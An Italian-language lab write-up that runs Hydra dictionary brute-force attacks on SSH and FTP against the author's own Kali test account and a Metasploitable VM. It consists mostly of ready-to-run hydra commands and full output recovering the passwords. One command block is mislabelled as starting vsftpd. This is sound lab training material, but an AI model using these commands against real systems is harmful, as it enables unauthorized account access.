

Authentication cracking con Hydra

Dopo aver seguito la linea guida ed :

```
(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
Adding user `test_user' ...
Adding new group `test_user' (1001) ...
Adding new user `test_user' (1001) with group `test_user' ...
adduser: The home directory `/home/test_user' already exists. Not copying from `/etc/skel'.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y

(kali㉿kali)-[~]
$ sudo service ssh start

(kali㉿kali)-[~]
$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Linux kali 5.18.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

- Aver creato il nostro nuovo User : **test_user** con relativa password **testpass**
- Aver attivato il servizio ssh : **sudo service ssh start**
- Testato la connessione ssh: **ssh test_user@IpKali**

Dopo aver scaricato tramite il comando **sudo apt-get install seclists** una lista molto vasta di Username e password possiamo iniziare il nostro Cracking con Hydra.

Alcuni comandi utili che vedremo sono:

- -L = Lista utenti
- -P = Identifica un attacco con Lista
- -V = Controllo in dettaglio della Lista
- -t = Il numero di Treadh da Utilizzare
- Ssh\tcp = esempi di protocollo da attaccare
- -l = Parametro che indentifica un solo utente

SSH

Partiamo dal servizio SSH dove avvieremo il nostro comando:

```
hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P
/usr/share/seclists/Passwords/xato-net-10-milion-passowrds-1000000.txt 192.168.50.100 -t4 -V ssh
```

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 -V ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 04:34:58

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 12 of 8295464295456 [child 1] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 1000003 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 1000004 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwerty" - 1000005 of 8295464295456 [child 3] (0/0)
^Z
zsh: suspended hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P
```

Come possiamo notare con successo è stato trovato ciò che cercavamo.

FTP

In questo caso abbiamo attivato il servizio fpt installando prima: *sudo apt-get install vsftpd*

e poi avviando il servizio tramite:

```
hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P
/usr/share/seclists/Passwords/xato-net-10-milion-passowrds-1000000.txt 192.168.50.100 -t4 -V ssh
```

```
(kali@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.100 -t4 -V ftp
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 04:42:19

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295464295456 login tries (l:8295456/p:1000001), ~2073866073864 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 2 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 3 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 4 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 5 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 6 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 7 of 8295464295456 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "111111" - 8 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567" - 9 of 8295464295456 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "dragon" - 10 of 8295464295456 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123123" - 11 of 8295464295456 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 12 of 8295464295456 [child 2] (0/0)
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1000002 of 8295464295456 [child 2] (0/0)
^Z
```

Anche qui si può notare l'esito positivo

METASPLOITABLE

Ora faremo la stessa cosa utilizzando Metasploitable come target. In questo caso inseriremo già noi l'username : -l **msfadmin** e lasceremo ad Hydra la funzione di cercare automaticamente la password.

Abbiamo anche aggiunto **t15** per velocizzare la nostra ricerca.

SSH

**hydra -l msfadmin -P /usr/share/seclists/Passwords/xato-net-10-milion-passowrds-1000000.txt
192.168.50.101 -t15 -V ssh**

```
(kali@kali)-[~]
$ hydra -l msfadmin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.101 -t15 -V ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 08:43:59
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prev
[DATA] max 15 tasks per 1 server, overall 15 tasks, 1000002 login tries (l:1/p:1000002), ~66667 tries per task
[DATA] attacking ssh://192.168.50.101:22/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 1000002 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 1000002 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 3 of 1000002 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 4 of 1000002 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 5 of 1000002 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 6 of 1000002 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 7 of 1000002 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "111111" - 8 of 1000002 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567" - 9 of 1000002 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dragon" - 10 of 1000002 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123123" - 11 of 1000002 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 12 of 1000002 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "baseball" - 13 of 1000002 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "abc123" - 14 of 1000002 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "football" - 15 of 1000002 [child 14] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "monkey" - 16 of 1000007 [child 6] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "letmein" - 17 of 1000007 [child 3] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "696969" - 18 of 1000007 [child 2] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "shadow" - 19 of 1000007 [child 0] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "master" - 20 of 1000007 [child 5] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "666666" - 21 of 1000007 [child 7] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwertyuiop" - 22 of 1000007 [child 9] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123321" - 23 of 1000007 [child 8] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "mustang" - 24 of 1000007 [child 1] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567890" - 25 of 1000007 [child 4] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "michael" - 26 of 1000007 [child 6] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "654321" - 27 of 1000007 [child 3] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pussy" - 28 of 1000007 [child 2] (0/5)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 29 of 1000007 [child 0] (0/5)
[22][ssh] host: 192.168.50.101 login: msfadmin password: msfadmin
```

FTP

Qui per quanto riguarda la rete FTP.

**hydra -l msfadmin -P /usr/share/seclists/Passwords/xato-net-10-milion-passowrds-1000000.txt
192.168.50.101 -t15 -V ftp**

```
(kali㉿kali)-[~]
$ hydra -l msfadmin -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.50.101 -t15 -V ftp
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-01 08:44:41
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to pre
[DATA] max 15 tasks per 1 server, overall 15 tasks, 1000002 login tries (l:1/p:1000002), ~66667 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 1000002 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 1000002 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 3 of 1000002 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 4 of 1000002 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456789" - 5 of 1000002 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 6 of 1000002 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 7 of 1000002 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "111111" - 8 of 1000002 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567" - 9 of 1000002 [child 8] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dragon" - 10 of 1000002 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123123" - 11 of 1000002 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 12 of 1000002 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "baseball" - 13 of 1000002 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "abc123" - 14 of 1000002 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "football" - 15 of 1000002 [child 14] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "monkey" - 16 of 1000002 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "letmein" - 17 of 1000002 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "696969" - 18 of 1000002 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "shadow" - 19 of 1000002 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "master" - 20 of 1000002 [child 9] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "666666" - 21 of 1000002 [child 7] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwertyuiop" - 22 of 1000002 [child 4] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123321" - 23 of 1000002 [child 14] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "mustang" - 24 of 1000002 [child 11] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567890" - 25 of 1000002 [child 12] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "michael" - 26 of 1000002 [child 10] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "654321" - 27 of 1000002 [child 13] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pussy" - 28 of 1000002 [child 6] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 29 of 1000002 [child 5] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "superman" - 30 of 1000002 [child 8] (0/0)
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-01 08:45:00
```